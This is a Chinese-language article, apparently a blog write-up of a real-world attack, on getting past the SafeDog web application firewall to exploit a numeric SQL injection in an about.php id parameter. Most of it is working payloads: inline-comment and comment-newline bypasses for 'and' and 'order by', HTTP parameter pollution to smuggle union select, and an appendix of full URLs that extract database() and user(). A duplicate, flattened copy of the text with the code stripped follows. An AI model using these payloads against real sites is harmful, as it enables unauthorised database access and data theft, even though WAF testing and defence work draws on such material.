记一次实战过狗注入
字数 994 2025-08-09 15:23:02

实战绕过安全狗注入技术详解

0x00 漏洞发现与初步测试

  1. 目标识别:发现目标URL存在数字型参数/about.php?id=1
  2. 初步测试
    • 加单引号'触发报错,确认存在SQL注入漏洞
    • 使用and 1=1and 1=2测试时被安全狗拦截

0x01 安全狗绕过技术

绕过and 1=1拦截

  1. Fuzz测试结果

    • and → 不拦截
    • and 1 → 拦截
    • and 1=1 → 拦截
    • and -1=-1 → 拦截
    • %26 1=1 → 拦截
  2. 绕过方法

    • 使用内联注释包裹数字:and /*!-1*/=-1
    • 测试:
      • ?id=1 and /*!-1*/=-1 → 正常返回
      • ?id=1 and /*!-1*/=-2 → 返回错误

绕过order by拦截

  1. Fuzz测试结果

    • order → 不拦截
    • by → 不拦截
    • order by → 不拦截
    • order by 10 → 拦截
  2. 绕过方法

方法1:内联注释

  • ?id=1 /*!order*/ by 10
  • ?id=1 order /*!by*/ 10
  • ?id=1 order by /*!10*/
  • 测试字段数:
    • order by /*!3*/ → 返回正常
    • order by /*!4*/ → 返回错误

方法2:注释换行

  • order%23%0aby 3 (%23为#,%0a为换行符)
  • order%23%0aby 4

绕过union select拦截

  1. Fuzz测试结果

    • union → 不拦截
    • select → 不拦截
    • union select → 拦截
  2. 绕过方法

    • HTTP参数污染加注释:
      ?id=1 /*&id=-1 union select 1,2,3%23*/
      
    • 成功获取回显位置后,可替换为实际查询:
      • user()
      • database()

0x02 技术总结

  1. 通用性发现:HTTP参数污染加注释的方法可适用于所有测试场景,是最有效的绕过方式
  2. 检测机制分析
    • 安全狗5.0对特定关键词组合进行检测
    • 检测逻辑需要同时匹配特定关键词组合才会触发拦截
  3. 实用技巧
    • 内联注释(/*!...*/)可有效分割关键词组合
    • 注释换行可破坏关键词的连续性
    • HTTP参数污染可混淆检测逻辑

附录:完整Payload示例

  1. 判断注入:

    /about.php?id=1 and /*!-1*/=-1
    
  2. 获取字段数:

    /about.php?id=1 order%23%0aby 3
    
  3. 获取回显位置:

    /about.php?id=1 /*&id=-1 union select 1,2,3%23*/
    
  4. 获取数据库信息:

    /about.php?id=1 /*&id=-1 union select 1,database(),user()%23*/
    

注意:实际测试中应根据目标环境调整Payload,并遵守相关法律法规。

实战绕过安全狗注入技术详解 0x00 漏洞发现与初步测试 目标识别 :发现目标URL存在数字型参数 /about.php?id=1 初步测试 : 加单引号 ' 触发报错,确认存在SQL注入漏洞 使用 and 1=1 和 and 1=2 测试时被安全狗拦截 0x01 安全狗绕过技术 绕过 and 1=1 拦截 Fuzz测试结果 : and → 不拦截 and 1 → 拦截 and 1=1 → 拦截 and -1=-1 → 拦截 %26 1=1 → 拦截 绕过方法 : 使用内联注释包裹数字: and /*!-1*/=-1 测试: ?id=1 and /*!-1*/=-1 → 正常返回 ?id=1 and /*!-1*/=-2 → 返回错误 绕过 order by 拦截 Fuzz测试结果 : order → 不拦截 by → 不拦截 order by → 不拦截 order by 10 → 拦截 绕过方法 : 方法1:内联注释 ?id=1 /*!order*/ by 10 ?id=1 order /*!by*/ 10 ?id=1 order by /*!10*/ 测试字段数: order by /*!3*/ → 返回正常 order by /*!4*/ → 返回错误 方法2:注释换行 order%23%0aby 3 (%23为#,%0a为换行符) order%23%0aby 4 绕过 union select 拦截 Fuzz测试结果 : union → 不拦截 select → 不拦截 union select → 拦截 绕过方法 : HTTP参数污染加注释: 成功获取回显位置后,可替换为实际查询: user() database() 0x02 技术总结 通用性发现 :HTTP参数污染加注释的方法可适用于所有测试场景,是最有效的绕过方式 检测机制分析 : 安全狗5.0对特定关键词组合进行检测 检测逻辑需要同时匹配特定关键词组合才会触发拦截 实用技巧 : 内联注释( /*!...*/ )可有效分割关键词组合 注释换行可破坏关键词的连续性 HTTP参数污染可混淆检测逻辑 附录:完整Payload示例 判断注入: 获取字段数: 获取回显位置: 获取数据库信息: 注意:实际测试中应根据目标环境调整Payload,并遵守相关法律法规。